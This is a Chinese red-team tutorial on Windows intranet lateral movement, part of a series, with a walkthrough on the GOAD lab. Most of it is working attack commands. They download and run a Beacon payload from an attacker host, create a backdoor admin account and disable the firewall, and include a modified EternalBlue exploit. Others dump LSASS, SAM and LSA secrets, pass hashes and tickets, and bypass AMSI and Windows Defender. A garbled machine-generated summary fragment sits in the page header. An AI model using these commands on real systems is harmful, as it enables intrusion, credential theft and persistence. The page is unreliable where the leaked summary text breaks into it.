内网渗透(十):横向移动

admin 2026-02-09 01:15:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结:综合评分: 90 文章分类:,score:0}>*字符串清理:确保summary中没有\n。>_JSON构建:_>json>{>summary:本文详细阐述了内网渗透中的横向移动技术,涵盖工作组与域环境下的PTH、PTT、PTK等凭证传递攻击,以及利用IPC、SMB、WMI、WinRM、RDP等协议的具体操作。文档结合GOAD靶场实战,演示了凭证获取、哈希传递及绕过WindowsDefender的技巧,并推荐了Impacket、PsMapExec等常用工具,为红队实战提供了全面的操作指南与防御思路。,>type:内网渗透,红队,渗透测试,安全工具,免杀,>score:90>}>5.**最终审查:**>*summary长度:约135个字符。可接受(100+/-20%的范围对于约100个单词来说很严格,但对于约100个中文字符来说是标准的)。提示说“约100字左右(±20%可接受)”。135稍微超出120的上限。让我们稍微修剪一下。>*_修剪后的摘要:_本文详细阐述了内网渗透中的横向移动技术,涵盖PTH、PTT等凭证传递及IPC、SMB、WMI、WinRM等协议操作。结合GOAD靶场演示了凭证获取与哈希传递流程,介绍了绕过防御的技巧,并推荐了Impacket、PsMapExec等工具,为红队实战提供了全面指南与防御思路。>*_计数:_约108个字符。完美。>*类型检查:内网渗透,红队,渗透测试,安全工具,免杀。有效。>*分数检查:90。有效。>*格式检查:严格JSON。>6.**最终输出生成**(仅JSON)。{summary:本文详细阐述了内网渗透中的横向移动技术,涵盖PTH、PTT等凭证传递及IPC、SMB、WMI、WinRM等协议操作。结合GOAD靶场演示了凭证获取与哈希传递流程,介绍了绕过防御的技巧,并推荐了Impacket、PsMapExec等工具,为红队实战提供了全面指南与防御思路。,type:内网渗透,红队,渗透测试,安全工具,免杀


cover_image

内网渗透(十):横向移动

JJ1ng JJ1ng

JJ1ng

2026年2月7日 23:29 北京

0x00 简介

本章节主要介绍横向移动相关的内容。个人才疏学浅,有未阐述清楚或遗漏的地方,可自行搜索相关资料参考学习。

主要内容:工作组与域环境下的各类横向移动手法,包括:PTH、PTT、PTK、PTA、Pass the PRT、IPC、PsExec、RDP、WMI、WinRM、DCOM 等,以及 GOAD 靶场演示。


横向移动(Lateral Movement)是指以被攻陷的主机为跳板,通过各种手段控制其他内网主机的过程,且通过层层递进最终拿下域控的权限。总的来说,只要是能接管内网中其他主机的手段都可以归为横向移动,比如:漏洞利用(永恒之蓝、Web 漏洞、组件漏洞等)、服务利用、水坑攻击、传递攻击等。

1. Windows 共享

默认共享是为了方便管理员远程管理而开启的共享,包括:所有逻辑盘(如:C$,D$,E$...)和系统目录WINNTWINDOWS(ADMIN$),可通过建立 IPC$ 连接来访问这些默认共享。

参考链接:

https://www.cnblogs.com/eagletian/articles/79024.html

https://cloud.tencent.com/developer/article/1937086

https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/

通过 net share 命令来查看系统当前共享的文件夹。

1.1 IPC

IPC(Inter-Process Communication,进程间通信),在 Windows 中是一个特殊的数据通道(也可叫做命名管道),是进程间通信的桥梁,只有建立 IPC 连接才能进行下一步动作。而 IPC$ 是 Windows 为了让其他主机访问本机命名管道而暴露出来的一个共享端点,通过 IPC$ 共享端点建立 IPC 命名管道的会话后,再使用该管道执行各种操作,例如:操作文件、管理服务、查看进程、执行命令等。

容易混淆的点:默认共享和 IPC$ 共享。所有的远程操作都需建立在 IPC$ 共享之上,默认共享是指实际的共享文件夹,只有建立 IPC$ 连接且权限满足的情况下,才能访问共享文件夹。

想通过 IPC$ 进行横向,需要满足如下条件:

  • 开放 139、445 端口,在高版本的系统中只需要 445 端口
  • 开启默认共享

1.2 空连接

在进行 IPC 连接时,需提供可信的用户名和密码,在双方建立安全的连接通道后,才能实现对远程计算机的访问。而空连接即代表不需要账号密码就能建立 IPC 连接,在早期的操作系统中(Windows 2008 之前)较为常见且权限较高;但之后微软加强了安全策略,导致空连接的权限非常低,基本什么都做不了。有关空连接、匿名连接、来宾会话的区别,可参考:https://blog.whiteflag.io/blog/guest-vs-null-session-on-windows/

2. 传递攻击

凭证信息可以是多种形式,如:密码、Hash(LM HashNTLM HashNet-NTLM Hash)、票据、令牌、私钥、证书等。而传递攻击就是指通过某种方式将这些凭证信息传递到远程主机,以此来通过认证实现接管远程目标。常见的几种传递攻击有:PTH、PTT、PTK 等,另一种新型的、基于云环境的传递攻击包括:PTA、Pass the PRT 等。

2.1 哈希传递(PTH)

哈希传递(Pass the Hash,简称 PTH),是内网横向移动的一种常用的方式,是一种通过密码哈希来进行移动的技术。在《内网渗透(二):认证协议》篇章中可以知道,无论是工作组还是域环境,在认证过程中都是使用密码 Hash 来完成整个流程,所以即便无法破解密码得到明文,也是能直接使用该 Hash 来完成认证流程,与明文密码等效。

参考链接:

https://en.hackndo.com/pass-the-hash/

Lateral Movement – Pass-the-Hash Attacks

https://www.thehacker.recipes/ad/movement/ntlm/pth

面对内部成百上千主机,系统维护人员可不会一台台手动配置,往往都是通过自动化的方式来完成环境的初始化部署。而这就意味着自动化部署主机的本地管理员账户往往都是相同的,所以,只要能拿到任意一台主机本地 Administrator 账户密码的 Hash,通过哈希碰撞(密码喷洒的另一种形式)探测出相同密码的主机,即可使用 PTH 完成横向移动。

由于本地账户受 UAC 的影响,不同的系统版本受到的限制有所不同。具体如下:

  • 工作组

  • Windows Vista 之前的机器,可以使用本地管理员组内的所有用户进行 PTH

  • Windows Vista 之后的机器,只能使用 Administrator 账号来进行 PTH

  • 域环境

  • 针对域主机,可使用该域主机本地管理员组中的普通域用户进行 PTH

  • 针对域控,可使用域管理组内的所有用户进行 PTH

2.2 票据传递(PTT)

在《内网渗透(二):认证协议》一篇中已有介绍,域环境中使用 Kerberos 协议进行认证,而该协议主要涉及 TGT 和 ST 两个票据。票据传递(Pass the Ticket,简称 PTT),将用于认证的票据注入到当前主机内存中,并以此来访问其他主机。由于涉及 Kerberos 协议,所以只适用于域环境。注:对于黄金票据、白银票据、钻石票据、蓝宝石票据等内容,会在后续《权限维持》篇章进行详细的介绍。

参考链接:https://zhuanlan.zhihu.com/p/475689947

# 清空内存中的票据
klist purge
kekeo "kerberos::purge"
mimikatz "kerberos::purge"

# 生成票据,这里的 USER 及 HASH 是需要能访问远程主机权限的用户
kekeo "tgt::ask /user:USER /domain:DOMAIN /ntlm:NTLM"

# 生成票据
impacket-getTGT DOMAIN/USER:PASS
impacket-getTGT DOMAIN/USER -hashes LM:NTLM
impacket-getTGT DOMAIN/USER -aesKey 'KEY'

# 生成票据
Rubeus asktgt /user:USER /aes128 KEY /ptt
Rubeus asktgt /user:USER /aes256:KEY /opsec /ptt

# 导出内存中的已有的票据
mimikatz "privilege::debug""sekurlsa::tickets /export"exit

# 注入票据
kekeo "kerberos::ptt TICKET"exit

# 注入票据
mimikatz "kerberos::ptt TICKET"exit

2.3 密钥传递(PTK)

密钥传递(Pass the Key,简称 PTK),原理是通过获取用户的 AES 密钥,并以此来进行认证,实现横向移动。该方式适用在禁用 NTLM 认证的域环境下使用。注:PTH、PTT、PTK 的区别仅在于名称和认证的媒介不同,原理都大差不差。

参考链接:https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-pass-the-key/

# 导出 AES Key
mimikatz "log" "privilege::debug" "sekurlsa::ekeys" exit

# 工具 Mimikatz
mimikatz "sekurlsa::pth" "/user:USER" "/domain:DOMAIN" "/aes256:KEY" exit

2.4 证书传递(PTA)

证书传递(Pass the AzureAD Certificate,简称 PTA),是一种通过 AzureAD 证书来进行横向移动的方式,适用于 AzureAD 云环境。

参考链接:

https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597

https://whoamianony.top/posts/entra-id-attack-surface-of-pass-through-authentication/

https://cloud.hacktricks.wiki/zh/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html

2.5 Pass the PRT

Pass the PRT(Pass the primary refresh token),是一种通过 PRT 令牌来进行横向移动的方式。

参考链接:

https://netwrix.com/en/resources/blog/pass-the-prt-overview/

https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/

3. 工具推荐

https://github.com/The-Viper-One/PsMapExec

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/Pennyw0rth/NetExec

https://github.com/login-securite/lsassy

https://github.com/gentilkiwi/mimikatz

https://github.com/gentilkiwi/kekeo

https://github.com/fortra/impacket

https://github.com/ShawnDEvans/smbmap

https://github.com/Kevin-Robertson/Invoke-TheHash

https://github.com/0xthirteen/MoveKit

https://github.com/maaaaz/impacket-examples-windows

0x01 横向移动


横向移动是一种行为,可以有多种方式来实现横向移动,常见的有:IPC、SMB、WMI、RDP 等,大部分横向行为都是基于用户凭证信息来开展的。

命令查询网站:

https://wadcoms.github.io/

https://lolbas-project.github.io/

参考链接:

https://xz.aliyun.com/news/13497

https://tttang.com/archive/1890/

https://forum.butian.net/share/3680

https://cangqingzhe.github.io/2020/08/21/%E5%85%B3%E4%BA%8E%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E7%9A%84%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/

图片来源:https://tttang.com/archive/1890/

1. 文件传输

1.1 Windows 自带工具

# Curl
curl -o C:\Beacon.exe http://IP:PORT/Beacon.exe

# Certutil
certutil -urlcache -split -f http://IP:PORT/Beacon.exe C:\Beacon.exe

# Certreq
certreq -Post -config http://IP:PORT/Beacon.exe c:\windows\win.ini C:\Beacon.exe

# BitsAdmin
bitsadmin /transfer test http://IP:PORT/Beacon.exe C:\Beacon.exe

# PowerShell
powershell -nop -exec bypass -Command "(New-Object Net.WebClient).DownloadFile('http://IP:PORT/Beacon.exe', 'C:\Beacon.exe')"
powershell -command "Start-BitsTransfer -Source http://IP:PORT/Beacon.exe -Destination C:\Beacon.exe"

1.2 搭建 SMB 服务器

可以通过 impacket 套件中的 smbserver.py 脚本来快速搭建 SMB 服务。脚本地址:

https://github.com/fortra/impacket/blob/master/impacket/smbserver.py

https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer

mkdir /tmp/smbshare && impacket-smbserver MySMBServer /tmp/smbshare -smb2support

1.3 网络共享

# 建立 IPC 连接
net use \\IP\IPC$ "PASS" /user:"USER"

# 拷贝文件至远程主机
copy Beacon.exe \\IP\C$

1.4 VBS 脚本

# 创建 vbs 脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs

 # 使用 vbs 脚本来实现远程文件下载
cscript downfile.vbs http://IP:PORT/cs.exe c:\windows\temp\cs.exe

2. IPC

成功建议 IPC 连接后,可以通过创建计划任务、服务等方式来进行横向移动。

2.1 AT

AT 在小于 Windows 2012 的系统中可用来创建计划任务。

# 查看远程主机时间
net time \\IP

# 通过 AT 工具来实现
copy Beacon.exe \\IP\c$
at \\IP 18:00:00 C:\Beacon.exe
at \\IP 1 /delete

# 工具 impacket
impacket-atexec -hashes LM:NTLM DOMAIN/USER@IP whoami

2.2 Schtasks

schtasks 在 Windows 2012 及以上的系统中可用来创建计划任务。

# 通过 PowerShell 下载
schtasks /create /s IP /u USER /p PASS /tn TASK_NAME /tr "powershell -WindowStyle Hidden -nop -exec bypass -Command \"(New-Object Net.WebClient).DownloadFile('http://IP:PORT/Beacon.exe', 'C:\Beacon.exe'); Start-Process 'C:\Beacon.exe'; Start-Sleep -s 5; schtasks /delete /tn TASK_NAME /f\"" /sc ONCE /st 18:00 /rl HIGHEST /f /ru "SYSTEM"

# 通过 Certutil 下载
schtasks /create /s IP /u USER /p PASS /tn TASK_NAME /tr "cmd /c certutil -urlcache -split -f http://IP:PORT/Beacon.exe C:\Beacon.exe && start /b C:\Beacon.exe && timeout /t 5 && del C:\Beacon.exe && schtasks /delete /tn TASK_NAME /f" /sc ONCE /st 23:00 /rl HIGHEST /f /ru "SYSTEM"

2.3 SC

# 创建服务
sc \\IP create Backdoor binpath= "cmd.exe /k C:\Beacon.exe"

# 启动服务
sc start Backdoor

# 删除服务
sc \\IP delete Backdoor

# 建立SMB连接并创建服务绑定木马
services -hashes :NTLM ./administrator:@IP create -name shell -display shellexec -path C:\Beacon.exe

# 启动shell服务
services -hashes :NTLM ./administrator:@IP start -name shell

3. SMB

# 工具 NetExec
nxc smb IP -u administrator -H NTLM -d DOMAIN -x whoami

# 工具 smbmap
smbmap -u USER -p 'LM:NTLM' -H IP -d DOMAIN -x 'whoami'

# 工具 impacket
impacket-smbexec USER:PASS@IP
impacket-smbexec DOMAIN/USER@IP -hashes 'LM:NTLM'

# 工具 Mimikatz
mimikatz sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:NTLM /run:"cmd"

PsExec 工具属于微软官方提供的 PsTools 工具包中的工具,通过 PsExec 进行横向时,会在远程主机上创建服务,动静较大且会被 Windows 日志记录,不推荐使用。下载地址:https://learn.microsoft.com/zh-cn/sysinternals/downloads/psexec

运行 Psexec 的条件:

  • 目标主机开启 Admin$ 共享
  • 开启 139 或 445 端口
  • 需要拥有创建服务的权限
# 工具 PsExec
PsExec.exe \\IP -u DOMAIN\USER -p PASS cmd /c "ipconfig"

# 工具 impacket
impacket-psexec DOMAIN/USER:PASS@IP
impacket-psexec DOMAIN/USER@IP -hashes 'LM:NTLM'

4. WMI

WMI(Windows Management Instrumentation, Windows 管理规范),通过一套标准的接口,允许管理员、脚本和应用程序访问、配置和管理操作系统中的软硬件。

WMIC(Windows Management Instrumentation Command-line,WMI 命令行工具),是 WMI 的命令行工具,可通过 WMIC 工具来获取 WMI 中的数据。

利用条件:

  • 远程主机的 WMI 服务为开启状态
  • 主机 135 端口能正常通信,回显依赖 445 端口

工具推荐:

https://github.com/XiaoliChan/wmiexec-Pro

https://github.com/QAX-A-Team/sharpwmi

https://github.com/rootclay/WMIHACKER

# 原生工具 WMI
wmic /node:IP /user:USER /password:PASS PROCESS call create "cmd.exe /c whoami > c:\windows\temp\result.txt"

wmic /node:IP /user:USER /password:PASS PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/beacon.ps1');\""

# 工具 impacket,回显依赖 445 端口,所以 135、445 都得开放
impacket-wmiexec DOMAIN/USER:PASS@IP
impacket-wmiexec DOMAIN/USER@IP -hashes :NTLM "cmd.exe /c certutil -urlcache -split -f http://IP:PORT/Beacon.exe C:\Beacon.exe & C:\Beacon.exe"

# 工具 SharpWMI,不依赖 139 和 445 端口,使用注册表实现回显
sharpwmi.exe IP USER PASS cmd whoami

# 脚本 wmiexec-pro
python3 wmiexec-pro.py USER:PASS@IP exec-command -shell

5. DCOM

DCOM(Distributed Component Object Model,分布式组件对象模型),是基于 COM 的一系列概念和程序接口。通过 DOCM 客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

参考链接:

https://www.anquanke.com/post/id/215960

https://www.freebuf.com/articles/web/293280.html

https://www.freebuf.com/articles/system/175707.html

# 工具 impacket
impacket-dcomexec DOMAIN/USER@IP -hashes 'LM:NTLM'

6. WinRM

WinRM (Windows Remote Management,Windows 远程管理工具),通过 WS-management 协议来实现管理远程主机,对应的端口是 5985,在 Windows 2008 以上的版本才会自启动。

WinRS(Windows Remote Shell,Windows 远程命令行)是一款 Windows 提供用于远程管理 WinRM 服务的客户端工具。

工具推荐:https://github.com/Hackplayers/evil-winrm

# 开启 WinRM 服务
powershell "Enable-PSRemoting -force"

# 配置 WinRM 服务
winrm quickconfig

# 将指定 IP 加入 TrustedHosts,否则无法使用 Winrm 连接远程主机
winrm set winrm/config/client @{TrustedHosts="IP"}

# 测试远程主机是否开启 WinRM 服务
Test-WsMan IP

# 通过 WinRM 执行命令
winrm invoke Create wmicimv2/win32_process @{CommandLine="C:\Beacon.exe"} -r:http://IP:5985 -u:USER -p:PASS

# 通过 Winrs 执行命令
winrs -r:IP -u:USER -p:PASS "whoami"

# 通过 Winrs 获取远程主机的交互式 Shell
winrs -r:IP -u:USER -p:PASS cmd

# 工具 NetExec
nxc winrm IP -u USER -p PASS -x cmd

7. RDP

工具链接:https://github.com/0xthirteen/SharpRDP

参考链接:

Revisiting Remote Desktop Lateral Movement

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Remote-Desktop-Protocol

7.1 RDP PTH

当开启 Restricted Admin Mode(受限管理模式)模式后,可使用远程管理员组中用户的 Hash 来进行远程登录。如果权限够高,可先修改注册表,随后在进行 PTH RDP。

# 开启 Restricted Admin Mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

# DisableRestrictedAdmin 值为 0,则表示已开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

# 工具 Mimikatz
mimikatz "privilege::debug" "sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NTLM /run:\"mstsc.exe /restrictedadmin\"" exit

# 工具 xfreerdp3
xfreerdp3 /u:USER /d:DOMAIN /pth:HASH /v:IP +clipboard

7.2 RDP Hijacking

对于开启远程登录服务的 Windows 主机,当多个用户进行登录时,会产生多个会话。攻击者可通过获取的 SYSTEM 权限来劫持其他用户的 RDP 会话。如下图所示,通过 quert user 命令来查看登录用户的 ID,并使用 tscon+ID 命令切换到其他用户,而无需密码。

8. EternalBlue(永恒之蓝)

除了使用 MSF、Fscan 等工具进行利用外,另一种 MS17-010 较为通用的打法,可以通过如下脚本来自定义要执行的命令。脚本地址:

https://github.com/worawit/MS17-010/

https://github.com/projectboot/EternalPulse

# 创建用户并加入管理员组,开启 RDP 并关闭防火墙策略
net user hacker "123qwe!@#" /add && net localgroup Administrators hacker /add && reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f && netsh advfirewall set allprofiles state off

# 创建后门用户 hacker 并加入管理员组,开启 RDP 远程连接并修改端口号为 23389,最后通过防火墙放通 23389 端口
net user hacker "123qwe!@#" /add & net localgroup Administrators hacker /add & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 23389 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v "PortNumber" /t REG_DWORD /d 23389 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f & net stop TermService /y & net start TermService & netsh advfirewall firewall add rule name="RDP_23389" protocol=TCP dir=in localport=23389 action=allow

将 zzz_exploit.py 改为如下内容:

def smb_pwn(conn, arch):
 smbConn = conn.get_smbconnection()
 service_exec(conn, r'cmd /c net user hacker "123qwe!@#" /add & net localgroup Administrators hacker /add & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 23389 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v "PortNumber" /t REG_DWORD /d 23389 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f & reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "UserAuthentication" /t REG_DWORD /d 0 /f & net stop TermService /y & net start TermService & netsh advfirewall firewall add rule name="RDP_23389" protocol=TCP dir=in localport=23389 action=allow')

9. SSH

还有一种通过 SSH-Agent 进行横向移动的方式,具体可以查看个人先前的文章《SSH隧道&横向移动》,文章链接:https://mp.weixin.qq.com/s/ZPkBHvugS5niOzNvZm6rcg

0x02 GOAD


通过《内网渗透(五):信息收集》《内网渗透(七):凭证攻击》等方式,已经拿到相关凭证,本章节将通过获取的这些凭证信息来进行横向移动的操作。

参考链接:https://mayfly277.github.io/posts/GOADv2-pwning-part9/

1. Get Secrets and Hash

横向移动的第一步,获取当前跳板机的凭证信息。需要区分凭证信息是来自 SAMLSANTDS.dit 还是 lsass.exe 进程,不同地方存储内容不同,具体的差异可自行搜索。注:想要解密 SAM 数据库,需要用到 C:\Windows\System32\config\SYSTEM 文件中的内容。

# 工具 impacket
impacket-secretsdump NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22

# 导出注册表
impacket-smbserver -smb2support share .
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.3\share'
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.3\share'
impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL

# 工具 lsassy
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p '_L0ngCl@w_' 192.168.56.22

# 工具 nxc
nxc smb 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' --sam
nxc smb 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' --sam secdump

2. Password reuse and PTH attack

上述图片导出的是本地 SAM 数据库中的 Hash,可用来碰撞是否存在其他相同密码的本地 Administrator 账户,但该靶场并不存在。

nxc smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth

当主机提升为域控时,本地管理员密码会转为域管理员密码,因此还可尝试在域内进行 Hash 喷洒。如下所示,也是成功拿到 Winterfell 域管理员权限。

nxc smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
nxc smb 192.168.56.11 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --ntds

3. LSA Secrets

# 工具 impacket
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.3\share'
impacket-reg NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.3\share'
impacket-secretsdump -security SECURITY.save -system SYSTEM.save LOCAL

# 工具 nxc
nxc smb 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' --lsa
nxc smb 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' --lsa secdump

4. LSASS Secrets

虽然域用户凭证是保存在域控的 NTDS.dit 而非本地,但如果某域用户登录过当前主机,就可从当前主机的 lsass.exe 进程中提取该域用户的凭证。

直接执行下述命令,会被 Windows Defender 给拦截。

nxc smb 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' -M lsassy

可使用 lsassy 并结合 dumpert 模块来绕过 Windows Defender 的检测。模块下载地址(需编译为 DLL 文件):https://github.com/outflanknl/Dumpert

这里首先模拟用户 catelyn.stark 正常登录 castelblack 主机。

xfreerdp3 /v:castelblack.north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /d:north.sevenkingdoms.local /cert:ignore

用户 catelyn.stark 登录后,会在 lsass.exe 进程缓存其 Hash,如下图所示,也是成功拿到 catelyn.stark 用户的 Hash。

4.1 Lateral Move with impacket

经测试,如下方法均被 Windows Defender 拦截,可以使用 vagrant 用户关闭 Windows Defender 后再进行测试。

impacket-psexec NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5'
impacket-wmiexec NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5'
impacket-smbexec NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5'
impacket-atexec NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' whoami
impacket-dcomexec NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5'

4.2 Lateral Move with nxc

同样,如下方法也全都被 Windows Defender 拦截。

nxc smb 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5' -d north -x whoami --exec-method atexec
nxc smb 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5' -M pi -o PID=PID exec=whoami
nxc wmi 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5' -x whoami
nxc rdp 192.168.56.22 -u jeor.mormont -p '_L0ngCl@w_' -x "whoami"

4.3 Lateral Move with PsMapExec

通过 xfreerdp3 远程登录到主机 castelblack,使用 PsMapExec 来绕过 Windows Defender 的检测,并横向到 winterfell 主机。

# 远程登录 castelblack 主机
xfreerdp3 /d:north.sevenkingdoms.local /u:robb.stark /p:sexywolfy /v:192.168.56.22 /cert:ignore /dynamic-resolution

# Bypass AMSI
[Runtime.InteropServices.Marshal]::WriteInt32(([Ref].Assembly.GetType(('{2}{0}{1}'-f'ent.Automation.A','msiUtils','System.Managem')).GetField(('{0}{1}'-f 'amsi','Context'),'NonPublic,Static').GetValue($null)),0x41414141); (new-object system.net.webclient).downloadstring('http://192.168.56.3:8080/amsi_rmouse.txt') | IEX

# 本地下载
$t='C:\Windows\TEMP\PsMapExec.ps1'; (New-Object Net.WebClient).DownloadFile('http://192.168.56.3:8080/PsMapExec.ps1',$t); Import-Module $t; Remove-Item $t; PsMapExec SMB -Targets 192.168.56.11 -Username catelyn.stark -Hash 'cba36eccfd9d949c73bc73715364aff5' -Domain 'north' -Command 'whoami'

# 内存加载
$SC=(New-Object Net.WebClient).DownloadString('http://192.168.56.3:8080/PsMapExec.ps1'); New-Module -ScriptBlock ([ScriptBlock]::Create($SC)) | Import-Module;PsMapExec SMB -Targets 192.168.56.11 -Username catelyn.stark -Hash "cba36eccfd9d949c73bc73715364aff5" -Domain "north" -Command "whoami"

4.4 Lateral Move with evil-winrm

evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'

4.5 Lateral Move with RDP

# 修改注册表值,开启受限管理员模式
impacket-reg NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'

# 查询注册表值
impacket-reg NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'

# RDP PTH
xfreerdp3 /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11

# 删除注册表值
impacket-reg NORTH/[email protected] -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'


# 工具 SharpRDP,通过 RDP 协议在远程主机上执行系统命令
SharpRDP.exe computername=winterfell.north.sevenkingdoms.local command="calc.exe" username=north\catelyn.stark password=robbsansabradonaryarickon

5. PTT

# 请求 TGT 票据
impacket-getTGT north.sevenkingdoms.local/catelyn.stark -hashes ':cba36eccfd9d949c73bc73715364aff5'
export KRB5CCNAME=./catelyn.stark.ccache

# 被拦截
impacket-wmiexec -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell

impacket-smbclient -k -no-pass @winterfell

0x03 Reference

Dumping Credentials – LSASS Process Hashes

https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-pass-the-hash/

http://xidaner.blog.ffffffff0x.com/2022/06/02/%E5%86%85%E7%BD%91%E7%9F%A5%E8%AF%86PTH+PTK%E4%BB%8B%E7%BB%8D1-2/

https://blog.wh1sper.com/posts/%E5%86%85%E7%BD%91%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%96%B9%E6%B3%95/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:JJ1ng JJ1ng JJ1ng《内网渗透(十):横向移动》

CAF目标A——管理安全风险 网络安全文章

CAF目标A——管理安全风险

文章总结: 本文档介绍CAF目标A——管理安全风险的核心原则,包含治理、风险管理、资产管理和供应链四个关键原则。治理要求建立管理政策流程规范安全方法;风险管理强
评论:0   参与:  0